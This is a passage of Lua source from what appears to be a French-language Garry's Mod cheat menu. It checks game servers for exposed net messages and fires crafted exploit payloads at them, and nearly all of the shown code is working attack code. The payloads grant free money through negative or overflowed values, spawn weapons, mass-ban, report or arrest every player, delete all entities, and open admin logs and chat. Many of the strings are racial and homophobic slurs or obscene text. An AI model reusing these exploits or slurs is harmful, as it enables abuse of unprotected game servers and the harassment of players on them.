9735net.WriteInt(tonumber(10000),16)
9736net.WriteInt(tonumber(1),16)
9737net.WriteBool(LocalPlayer().Buying)
9738net.SendToServer()
9739end )
9740end
9741
9742status = ValidNetString("PurchaseWeed")
9743if (status) then
9744CHATPRINT("Exploit Trouvé : Vendre Weed [PurchaseWeed]")
9745addExploit( "172","Vendre Weed", "", function()
9746surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9747net.Start("PurchaseWeed")
9748net.WriteInt(tonumber(100),16)
9749net.WriteInt(tonumber(100),16)
9750net.WriteBool(LocalPlayer().Selling)
9751net.SendToServer()
9752end )
9753end
9754
9755status = ValidNetString("DoDealerDeliver")
9756if (status) then
9757CHATPRINT("Exploit Trouvé : Achetez Tablette [DoDealerDeliver]")
9758addExploit( "173","Achetez Tablette", "", function()
9759surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9760if(LocalPlayer():getDarkRPVar("money")>=WEED_CONFIG.TabletPrice) then
9761net.Start("DoDealerDeliver")
9762net.WriteBool(false)
9763net.SendToServer()
9764end
9765end )
9766end
9767
9768status = ValidNetString("DoDealerDeliver")
9769if (status) then
9770CHATPRINT("Exploit Trouvé : Achetez Bong [DoDealerDeliver]")
9771addExploit( "174","Achetez Bong", "", function()
9772surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9773if(LocalPlayer():getDarkRPVar("money")>=WEED_ITEMS.Items["Tools"]["bong"].price) then
9774net.Start("DoDealerDeliver")
9775net.WriteBool(true)
9776net.SendToServer()
9777end
9778end )
9779end
9780
9781status = ValidNetString("sendDuelInfo")
9782if (status) then
9783CHATPRINT("Exploit Trouvé : Exploit Du NPC De Duel [sendDuelInfo]")
9784addExploit( "175","Exploit Du NPC De Duel", "", function()
9785surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9786net.Start("sendDuelInfo")
9787net.WriteString(table.Random(player.GetAll()):Nick())
9788net.WriteString("xxdddd")
9789net.WriteString("1e+100")
9790net.WriteEntity(table.random(player.GetAll()):UserID())
9791net.WriteInt(3,3)
9792net.SendToServer()
9793end )
9794end
9795
9796status = ValidNetString("InviteMember")
9797if (status) then
9798CHATPRINT("Exploit Trouvé : Inviter Tout Les Joueurs [InviteMember]")
9799addExploit( "176","Inviter Tout Les Joueurs", "Invite all players to your org", function()
9800surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9801for k,v in pairs(player.GetAll()) do
9802net.Start("InviteMember")
9803net.WriteEntity(v)
9804net.WriteEntity(v)
9805net.WriteString("lol what")
9806net.SendToServer()
9807end
9808end )
9809end
9810
9811status = ValidNetString("newTerritory")
9812if (status) then
9813CHATPRINT("Exploit Trouvé : Nouveau Territoire [newTerritory]")
9814addExploit( "177","Nouveau Territoire", "", function()
9815surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9816for k,v in pairs(player.GetAll()) do
9817net.Start("newTerritory")
9818net.WriteString("Hackers")
9819net.WriteTable(t)
9820net.SendToServer()
9821end
9822end )
9823end
9824
9825status = ValidNetString("CreateOrganization")
9826if (status) then
9827CHATPRINT("Exploit Trouvé : Exploit De Gang [CreateOrganization]")
9828addExploit( "178","Exploit De Gang", "", function()
9829surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9830for k,v in pairs(player.GetAll()) do
9831net.Start("CreateOrganization")
9832net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
9833net.WriteString( "Join my gang or will rekt u" )
9834net.SendToServer()
9835end
9836end )
9837end
9838
9839status = ValidNetString("DisbandOrganization")
9840if (status) then
9841CHATPRINT("Exploit Trouvé : Arreter L'Organisation [DisbandOrganization]")
9842addExploit( "179","Arreter L'Organisation", "", function()
9843surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9844net.Start("DisbandOrganization")
9845net.WriteEntity(LocalPlayer())
9846net.SendToServer()
9847end )
9848end
9849
9850status = ValidNetString("ChangeOrgName")
9851if (status) then
9852CHATPRINT("Exploit Trouvé : Changer Le Nom De L'Organisation [ChangeOrgName]")
9853addExploit( "180","Changer Le Nom De L'Organisation", "", function()
9854surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9855net.Start("ChangeOrgName")
9856net.WriteString("I LOVE BANNAS WOOOOOOOOO I FUCKED GIANT BABIES WOOOOOO")
9857net.WriteString("SHITTY CUNT ASS SERVER FUCK OFF. STOP WITH YOUR SHITTY COPY AND PASTE SHIT! YOU STOLE MY SHIT NIGGER!")
9858net.WriteEntity(LocalPlayer())
9859net.SendToServer()
9860end )
9861end
9862
9863status = ValidNetString("IS_SubmitSID_C2S")
9864if (status) then
9865CHATPRINT("Exploit Trouvé : Cadeaux Gratuit [IS_SubmitSID_C2S | IS_GetReward_C2S]")
9866addExploit( "181","Cadeaux Gratuit", "", function()
9867surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9868net.Start("IS_SubmitSID_C2S")
9869net.WriteString("Killa")
9870net.SendToServer()
9871net.Start("IS_GetReward_C2S")
9872net.SendToServer()
9873end )
9874end
9875
9876status = ValidNetString("AcceptBailOffer")
9877if (status) then
9878CHATPRINT("Exploit Trouvé : Offrir Des Cautions [AcceptBailOffer]")
9879addExploit( "182","Offrir Des Cautions", "", function()
9880surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9881for k,v in pairs(player.GetAll()) do
9882net.Start("AcceptBailOffer")
9883net.WriteEntity(v)
9884net.WriteUInt(-100000000000000000, 16 )
9885net.SendToServer()
9886end
9887end )
9888end
9889
9890status = ValidNetString("CP_Test_Results")
9891if (status) then
9892CHATPRINT("Exploit Trouvé : Devenir Policier [CP_Test_Results]")
9893addExploit( "183","Devenir Policier", "", function()
9894surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9895net.Start("CP_Test_Results")
9896net.WriteInt(1 ,8)
9897net.SendToServer()
9898end )
9899end
9900
9901status = ValidNetString("ReSpawn")
9902if (status) then
9903CHATPRINT("Exploit Trouvé : ReSpawn #4 [ReSpawn]")
9904addExploit( "184","ReSpawn #4", "just reSpawn", function()
9905surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9906net.Start("ReSpawn")
9907net.SendToServer()
9908end )
9909end
9910
9911status = ValidNetString("FIGHTCLUB_KickPlayer")
9912if (status) then
9913CHATPRINT("Exploit Trouvé : Kick Du Fight Club [FIGHTCLUB_KickPlayer]")
9914addExploit( "185","Kick Du Fight Club", "", function()
9915surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9916for k,v in pairs(player.GetAll()) do
9917net.Start("FIGHTCLUB_KickPlayer")
9918net.WriteBit(v)
9919net.WriteEntity(v)
9920net.SendToServer()
9921end
9922end )
9923end
9924
9925status = ValidNetString("FIGHTCLUB_StartFight")
9926if (status) then
9927CHATPRINT("Exploit Trouvé : Fight Club [FIGHTCLUB_StartFight]")
9928addExploit( "186","Fight Club Start Fight", "", function()
9929surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9930for k,v in pairs(player.GetAll()) do
9931net.Start("FIGHTCLUB_StartFight")
9932net.WriteEntity(v)
9933net.SendToServer()
9934end
9935end )
9936end
9937
9938status = ValidNetString("IveBeenRDMed")
9939if (status) then
9940CHATPRINT("Exploit Trouvé : Faux RDM [IveBeenRDMed]")
9941addExploit( "187","Faux RDM", "", function()
9942surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9943for k,v in pairs(player.GetAll()) do
9944net.Start("IveBeenRDMed")
9945net.WriteEntity(v)
9946net.SendToServer()
9947end
9948end )
9949end
9950
9951status = ValidNetString("nCTieUpStart")
9952if (status) then
9953CHATPRINT("Exploit Trouvé : Exploit Des Combine Control [nCTieUpStart]")
9954addExploit( "188","Exploit Des Combine Control", "", function()
9955surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9956for k,v in pairs(ents.GetAll()) do
9957net.Start("nCTieUpStart")
9958net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
9959net.SendToServer()
9960end
9961end )
9962end
9963
9964status = ValidNetString("DestroyTable")
9965if (status) then
9966CHATPRINT("Exploit Trouvé : Tout Détruire [DestroyTable]")
9967addExploit( "189","Tout Détruire", "", function()
9968surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9969for k,v in pairs(ents.GetAll()) do
9970net.Start("DestroyTable")
9971net.WriteEntity(v)
9972net.SendToServer()
9973end
9974end )
9975end
9976
9977status = ValidNetString("start_wd_hack")
9978if (status) then
9979CHATPRINT("Exploit Trouvé : Exploit Du Téléphone De H4x0r [start_wd_hack]")
9980addExploit( "190","Exploit Du Téléphone De H4x0r", "", function()
9981surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9982net.Start("start_wd_hack")
9983net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
9984net.SendToServer()
9985end )
9986end
9987
9988status = ValidNetString("bringNfreeze")
9989if (status) then
9990CHATPRINT("Exploit Trouvé : Exploit De Bannissement [bringNfreeze]")
9991addExploit( "191","Exploit De Bannissement", "", function()
9992surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
9993for k,v in pairs(player.GetAll()) do
9994net.Start('bringNfreeze')
9995net.WriteEntity(self)
9996net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
9997net.SendToServer()
9998end
9999end )
10000end
10001
10002status = ValidNetString("JoinFirstSS")
10003if (status) then
10004CHATPRINT("Exploit Trouvé : Rejoindre Les Premiers SS [JoinFirstSS]")
10005addExploit( "192","Rejoindre Les Premiers SS", "", function()
10006surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10007net.Start("JoinFirstSS")
10008net.WriteEntity(LocalPlayer())
10009net.SendToServer()
10010end )
10011end
10012
10013status = ValidNetString("unarrestPerson")
10014if (status) then
10015CHATPRINT("Exploit Trouvé : Liberez De Prison [unarrestPerson]")
10016addExploit( "193","Liberez De Prison", "", function()
10017surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10018for k,v in pairs(player.GetAll()) do
10019net.Start("unarrestPerson")
10020net.WriteEntity(v)
10021net.SendToServer()
10022end
10023end )
10024end
10025
10026status = ValidNetString("giveArrestReason")
10027if (status) then
10028CHATPRINT("Exploit Trouvé : Donnez Une Raison D'Arrestation [giveArrestReason]")
10029addExploit( "194","Donnez Une Raison D'Arrestation", "", function()
10030surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10031for k,v in pairs(player.GetAll()) do
10032net.Start("giveArrestReason")
10033net.WriteEntity(LocalPlayer())
10034net.WriteEntity(v)
10035net.WriteString("Faggot")
10036net.SendToServer()
10037end
10038end )
10039end
10040
10041status = ValidNetString("sellitem")
10042if (status) then
10043CHATPRINT("Exploit Trouvé : Argent Gratuite #24 [sellitem]")
10044addExploit( "195","Argent Gratuite #24", "", function()
10045surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10046net.Start("sellitem")
10047net.WriteString(self)
10048net.WriteEntity(LocalPlayer())
10049net.SendToServer()
10050end )
10051end
10052
10053status = ValidNetString("createFaction")
10054if (status) then
10055CHATPRINT("Exploit Trouvé : Crée Un Gang [createFaction]")
10056addExploit( "196","Crée Un Gang", "", function()
10057surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10058for k,v in pairs(player.GetAll()) do
10059net.Start("createFaction")
10060net.WriteEntity(v)
10061net.WriteString("I FUCKED SO MANY BABIES TODAY WOOOOOOOOOOOOOOOOOOOOOOOO")
10062net.SendToServer()
10063end
10064end )
10065end
10066
10067status = ValidNetString("inviteToOrganization")
10068if (status) then
10069CHATPRINT("Exploit Trouvé : Inviter Tout Le Monde Dans Son Gang [inviteToOrganization]")
10070addExploit( "197","Inviter Tout Le Monde Dans Son Gang", "", function()
10071surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10072for k,v in pairs(player.GetAll()) do
10073net.Start("inviteToOrganization")
10074net.WriteEntity(v)
10075net.WriteEntity(LocalPlayer())
10076net.SendToServer()
10077end
10078end )
10079end
10080
10081status = ValidNetString("GiveWeapon")
10082if (status) then
10083CHATPRINT("Exploit Trouvé : Donnez Des Armes #3 [GiveWeapon]")
10084addExploit( "199","Donnez Des Armes #3", "get weapons", function()
10085surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10086net.Start("GiveWeapon")
10087net.WriteEntity(LocalPlayer())
10088net.WriteString("m9k_davy_crockett")
10089net.WriteFloat(0)
10090net.SendToServer()
10091end )
10092end
10093
10094status = ValidNetString("DailyLoginClaim")
10095if (status) then
10096CHATPRINT("Exploit Trouvé : Cadeau De Connexion [DailyLoginClaim]")
10097addExploit( "200","Cadeau De Connexion", "", function()
10098surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10099net.Start("DailyLoginClaim")
10100net.SendToServer()
10101end )
10102end
10103
10104status = ValidNetString("DL_AskLogsList")
10105if (status) then
10106CHATPRINT("Exploit Trouvé : Voir La Listes Des Logs [DL_AskLogsList]")
10107addExploit( "201","Voir La Listes Des Logs", "", function()
10108surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10109net.Start("DL_AskLogsList")
10110net.SendToServer()
10111end )
10112end
10113
10114status = ValidNetString("DL_StartReport")
10115if (status) then
10116CHATPRINT("Exploit Trouvé : DL Report Tout Le Monde [DL_StartReport | DL_ReportPlayer]")
10117addExploit( "202","DL Report Tout Le Monde", "", function()
10118surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10119for k,v in pairs(player.GetAll()) do
10120net.Start("DL_StartReport")
10121net.SendToServer()
10122net.Start("DL_ReportPlayer")
10123net.WriteEntity(v)
10124net.WriteString("Hes being a gay faggot plz ban him")
10125net.SendToServer()
10126end
10127end )
10128end
10129
10130status = ValidNetString("sv_saveweapons")
10131if (status) then
10132CHATPRINT("Exploit Trouvé : Exploit D'Arme TTT [sv_saveweapons]")
10133addExploit( "203","DL Report Tout Le Monde", "", function()
10134surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10135net.Start("sv_saveweapons")
10136net.WriteString("weapon_ttt_rpg")
10137net.WriteString("weapon_ttt_rpg")
10138net.WriteString("eg")
10139net.SendToServer()
10140end )
10141end
10142
10143status = ValidNetString("SpecDM_SendLoadout")
10144if (status) then
10145CHATPRINT("Exploit Trouvé : Exploit De SpecDM [SpecDM_SendLoadout]")
10146addExploit( "204","Exploit De SpecDM", "", function()
10147surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10148net.Start("SpecDM_SendLoadout")
10149net.WriteString("eg")
10150net.WriteString("weapon_ttt_defib")
10151net.SendToServer()
10152end )
10153end
10154
10155status = ValidNetString("PowerRoundsForcePR")
10156if (status) then
10157CHATPRINT("Exploit Trouvé : Forcer Un Power Round [PowerRoundsForcePR]")
10158addExploit( "205","Forcer Un Power Round", "", function()
10159surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10160net.Start("PowerRoundsForcePR")
10161net.SendToServer()
10162end )
10163end
10164
10165status = ValidNetString("wyozimc_playply")
10166if (status) then
10167CHATPRINT("Exploit Trouvé : Exploit De Musique [wyozimc_playply]")
10168addExploit( "206","Exploit De Musique", "", function()
10169surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10170for k,v in pairs(player.GetAll()) do
10171net.Start("wyozimc_playply")
10172net.WriteEntity(v)
10173net.WriteString("https://www.youtube.com/watch?v=dQw4w9WgXcQ")
10174net.SendToServer()
10175end
10176end )
10177end
10178
10179status = ValidNetString("SendSteamID")
10180if (status) then
10181CHATPRINT("Exploit Trouvé : Envoyez Mail's [SendSteamID]")
10182addExploit( "207","Envoyez Mail's", "", function()
10183surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10184for k,v in pairs(player.GetAll()) do
10185net.Start("SendSteamID")
10186net.WriteEntity(v)
10187net.WriteString("Faggot")
10188net.WriteString("Faggot")
10189net.SendToServer()
10190end
10191end )
10192end
10193
10194status = ValidNetString("JB_GiveCubics")
10195if (status) then
10196CHATPRINT("Exploit Trouvé : Donnez Des Cubes A Tout Le Monde [JB_GiveCubics]")
10197addExploit( "208","Donnez Des Cubes A Tout Le Monde", "", function()
10198surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10199for k,v in pairs(player.GetAll()) do
10200net.Start("JB_GiveCubics")
10201net.WriteEntity(v)
10202net.WriteInt(math.floor(dwang:GetValue()), 255)
10203net.SendToServer()
10204end
10205end )
10206end
10207
10208status = ValidNetString("JB_SelectWarden")
10209if (status) then
10210CHATPRINT("Exploit Trouvé : Warn Tout Le Monde [JB_SelectWarden]")
10211addExploit( "209","Warn Tout Le Monde", "", function()
10212surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10213for k,v in pairs(player.GetAll()) do
10214net.Start("JB_SelectWarden")
10215net.WriteEntity(v)
10216net.SendToServer()
10217end
10218end )
10219end
10220
10221status = ValidNetString("RDMReason_Explain")
10222if (status) then
10223CHATPRINT("Exploit Trouvé : Exploit RDM [RDMReason_Explain]")
10224addExploit( "210","Exploit RDM", "", function()
10225surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10226for k,v in pairs(player.GetAll()) do
10227net.Start("RDMReason_Explain")
10228net.WriteTable({id=v, reason=fgt})
10229net.SendToServer()
10230end
10231end )
10232end
10233
10234status = ValidNetString("redirectMsg")
10235if (status) then
10236CHATPRINT("Exploit Trouvé : Message De Redirection [redirectMsg]")
10237addExploit( "211","Message De Redirection", "", function()
10238surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10239net.Start("redirectMsg")
10240net.WriteString("Seized By evil :c !")
10241net.SendToServer()
10242end )
10243end
10244
10245status = ValidNetString("LB_AddBan")
10246if (status) then
10247CHATPRINT("Exploit Trouvé : Exploit LB Ban [LB_AddBan]")
10248addExploit( "212","Exploit LB Ban", "", function()
10249surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10250for k,v in pairs(player.GetAll()) do
10251if v != LocalPlayer() then
10252net.Start("LB_AddBan")
10253net.WriteString("STEAM_0:0:71238382")
10254net.WriteString("fgt")
10255net.SendToServer()
10256end
10257end
10258end )
10259end
10260
10261status = ValidNetString("GET_Admin_MSGS")
10262if (status) then
10263CHATPRINT("Exploit Trouvé : Défoncer Le Chat Admin [GET_Admin_MSGS | OPEN_ADMIN_CHAT]")
10264addExploit( "213","Défoncer Le Chat Admin", "", function()
10265surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10266net.Start("GET_Admin_MSGS")
10267net.SendToServer()
10268net.Start("OPEN_ADMIN_CHAT")
10269net.SendToServer()
10270end )
10271end
10272
10273status = ValidNetString("br_send_pm")
10274if (status) then
10275CHATPRINT("Exploit Trouvé : Défoncer Les Email Envoyé A Tous [br_send_pm]")
10276addExploit( "214","Défoncer Les Email Envoyé A Tous", "", function()
10277surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10278for k,v in pairs(player.GetAll()) do
10279if v != LocalPlayer() then
10280net.Start("br_send_pm")
10281net.WriteString(v)
10282net.WriteString("FGT")
10283net.WriteEntity(v)
10284net.SendToServer()
10285end
10286end
10287end )
10288end
10289
10290status = ValidNetString("LAWYER.BailFelonOut")
10291if (status) then
10292CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.BailFelonOut]")
10293addExploit( "215","Libérer Prison", "", function()
10294surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10295net.Start("LAWYER.BailFelonOut")
10296net.WriteString("1")
10297net.WriteString("fgt")
10298net.SendToServer()
10299end )
10300end
10301
10302status = ValidNetString("LAWYER.GetBailOut")
10303if (status) then
10304CHATPRINT("Exploit Trouvé : Libérer Prison [LAWYER.GetBailOut]")
10305addExploit( "216","Libérer Prison", "", function()
10306surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10307net.Start("LAWYER.GetBailOut")
10308net.WriteString("Mick")
10309net.WriteString("Mick")
10310net.WriteString("1000000")
10311net.SendToServer()
10312end )
10313end
10314
10315status = ValidNetString("GrabMoney")
10316if (status) then
10317CHATPRINT("Exploit Trouvé : Libérer Prison [GrabMoney]")
10318addExploit( "217","Libérer Prison", "", function()
10319surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10320for k,v in pairs(ents.GetAll()) do
10321if v:GetClass() == "gold" then
10322if v:GetClass() == "silver" then
10323if v:GetClass() == "vip" then
10324if v:GetClass() == "vipgold" then
10325net.Start("GrabMoney")
10326net.WriteEntity(LocalPlayer())
10327net.SendToServer()
10328end
10329end
10330end
10331end
10332end
10333end )
10334end
10335
10336status = ValidNetString("nox_addpremadepunishment")
10337if (status) then
10338CHATPRINT("Exploit Trouvé : Exploit De Ban Nox [nox_addpremadepunishment]")
10339addExploit( "218","Exploit De Ban Nox ", "", function()
10340surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10341for k,v in pairs(player.GetAll()) do
10342if v != LocalPlayer() then
10343net.Start("nox_addpremadepunishment")
10344net.WriteEntity("Sun")
10345net.WriteUInt(2, 8)
10346net.SendToServer()
10347end
10348end
10349end )
10350end
10351
10352status = ValidNetString("NET_CR_TakeStoredMoney")
10353if (status) then
10354CHATPRINT("Exploit Trouvé : Voler L'argent Du Registre [NET_CR_TakeStoredMoney]")
10355addExploit( "219","Voler L'argent Du Registre", "", function()
10356surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10357for k,v in pairs(ents.GetAll()) do
10358if v:GetClass() == "ss_cash_registry" then
10359net.Start('NET_CR_TakeStoredMoney')
10360net.WriteEntity("ss_cash_registry")
10361net.WriteEntity(LocalPlayer())
10362net.SendToServer()
10363end
10364end
10365end )
10366end
10367
10368status = ValidNetString("HV_AmmoBuy")
10369if (status) then
10370CHATPRINT("Exploit Trouvé : HV Munitions Gratuites [HV_AmmoBuy]")
10371addExploit( "220","HV Munitions Gratuites", "", function()
10372surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10373net.Start("HV_AmmoBuy")
10374net.WriteFloat("2")
10375net.SendToServer()
10376net.Start("HV_AmmoBuy")
10377net.WriteFloat("1")
10378net.SendToServer()
10379end )
10380end
10381
10382status = ValidNetString("hitcomplete")
10383if (status) then
10384CHATPRINT("Exploit Trouvé : Argent Gratuite [hitcomplete]")
10385addExploit( "221","Argent Gratuite", "", function()
10386surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10387for k,v in pairs(player.GetAll()) do
10388if v != LocalPlayer() then
10389net.Start("hitcomplete")
10390net.WriteEntity(v)
10391net.SendToServer()
10392end
10393end
10394end )
10395end
10396
10397status = ValidNetString("SyncRemoveAction")
10398if (status) then
10399CHATPRINT("Exploit Trouvé : Supprimer Tout [SyncRemoveAction]")
10400addExploit( "222","Supprimer Tout", "", function()
10401surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10402for k,v in pairs(ents.GetAll()) do
10403net.Start("SyncRemoveAction")
10404net.WriteEntity(v)
10405net.SendToServer()
10406end
10407end )
10408end
10409
10410status = ValidNetString("TMC_NET_MakePlayerWanted")
10411if (status) then
10412CHATPRINT("Exploit Trouvé : Mettre Un Avis De Recherche Global [TMC_NET_MakePlayerWanted]")
10413addExploit( "223","Mettre Un Avis De Recherche Global", "", function()
10414surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10415for k,v in pairs(player.GetAll()) do
10416net.Start("TMC_NET_MakePlayerWanted")
10417net.WriteString("bad")
10418net.WriteString("bad")
10419net.SendToServer()
10420end
10421end )
10422end
10423
10424status = ValidNetString("thiefnpc")
10425if (status) then
10426CHATPRINT("Exploit Trouvé : NPC De Voleur [thiefnpc]")
10427addExploit( "224","NPC De Voleur", "", function()
10428surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10429net.Start('thiefnpc')
10430net.WriteDouble(-99999999999999999)
10431net.SendToServer()
10432end )
10433end
10434
10435status = ValidNetString("TMC_NET_FirePlayer")
10436if (status) then
10437CHATPRINT("Exploit Trouvé : Brûler Des Joueurs [TMC_NET_FirePlayer]")
10438addExploit( "225","Brûler Des Joueurs", "", function()
10439surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10440net.Start("TMC_NET_FirePlayer")
10441net.WriteString("Paypal")
10442net.SendToServer()
10443end )
10444end
10445
10446status = ValidNetString("updateLaws")
10447if (status) then
10448CHATPRINT("Exploit Trouvé : Mettre A Jours Les Lois [updateLaws]")
10449addExploit( "226","Mettre A Jours Les Lois", "", function()
10450surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10451net.Start("updateLaws")
10452net.WriteString("Bitch")
10453net.SendToServer()
10454end )
10455end
10456
10457status = ValidNetString("LotteryMenu")
10458if (status) then
10459CHATPRINT("Exploit Trouvé : Argent Gratuite #25 [LotteryMenu]")
10460addExploit( "227","Argent Gratuite #25", "", function()
10461surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10462net.Start("LotteryMenu")
10463net.WriteEntity(LocalPlayer())
10464net.WriteInt(1000000000000000000, 16)
10465net.SendToServer()
10466end )
10467end
10468
10469status = ValidNetString("soundArrestCommit")
10470if (status) then
10471CHATPRINT("Exploit Trouvé : Bruit D'Arrestation [soundArrestCommit]")
10472addExploit( "228","Bruit D'Arrestation", "", function()
10473surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10474net.Start("soundArrestCommit")
10475net.WriteString("Shit")
10476net.SendToServer()
10477end )
10478end
10479
10480status = ValidNetString("hoverboardpurchase")
10481if (status) then
10482CHATPRINT("Exploit Trouvé : Hover Board [hoverboardpurchase]")
10483addExploit( "229","Hover Board", "", function()
10484surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10485net.Start("hoverboardpurchase")
10486net.WriteInt(8, 32)
10487net.SendToServer()
10488end )
10489end
10490
10491status = ValidNetString("NPCShop_BuyItem")
10492if (status) then
10493CHATPRINT("Exploit Trouvé : NPC Magasin [NPCShop_BuyItem]")
10494addExploit( "231","NPC Shop", "", function()
10495surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10496net.Start("NPCShop_BuyItem")
10497net.WriteString("weapon_hack_phone")
10498net.SendToServer()
10499end )
10500end
10501
10502status = ValidNetString("CubeRiot CaptureZone Update")
10503if (status) then
10504CHATPRINT("Exploit Trouvé : CubeRiot Exploit [CubeRiot CaptureZone Update]")
10505addExploit( "232","CubeRiot Exploit", "", function()
10506surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10507net.Start("CubeRiot CaptureZone Update")
10508net.WriteUInt( 1, 8 )
10509net.WriteVector( "2654.989258 2254.119629 -139.968750" )
10510net.WriteVector( "2654.989258 2254.119629 -139.968750" )
10511net.SendToServer()
10512end )
10513end
10514
10515status = ValidNetString("deposit")
10516if (status) then
10517CHATPRINT("Exploit Trouvé : Argent Gratuite #26 [deposit]")
10518addExploit( "233","Argent Gratuite #26", "", function()
10519surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10520net.Start("deposit")
10521net.WriteString("-10000000000000000000000")
10522net.SendToServer()
10523end )
10524end
10525
10526status = ValidNetString("AcceptRequest")
10527if (status) then
10528CHATPRINT("Exploit Trouvé : Exploit D'Appel [AcceptRequest]")
10529addExploit( "234","Exploit D'Appel", "", function()
10530surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10531for k,v in pairs(player.GetAll()) do
10532net.Start("AcceptRequest")
10533net.WriteEntity(v)
10534net.SendToServer()
10535end
10536end )
10537end
10538
10539status = ValidNetString("Chess ClientWager")
10540if (status) then
10541CHATPRINT("Exploit Trouvé : Exploit Des Dames [Chess ClientWager | Chess ClientResign]")
10542addExploit( "235","Exploit Des Dames", "", function()
10543surface.PlaySound( "mat/evilclick.wav" ) NOTIFICATION("Exploit lançé") --("Démarré")
10544net.Start("Chess ClientWager")
10545net.WriteUInt( -999999999999999999999999999, 24 )
10546net.SendToServer()
10547net.Start("Chess ClientResign")
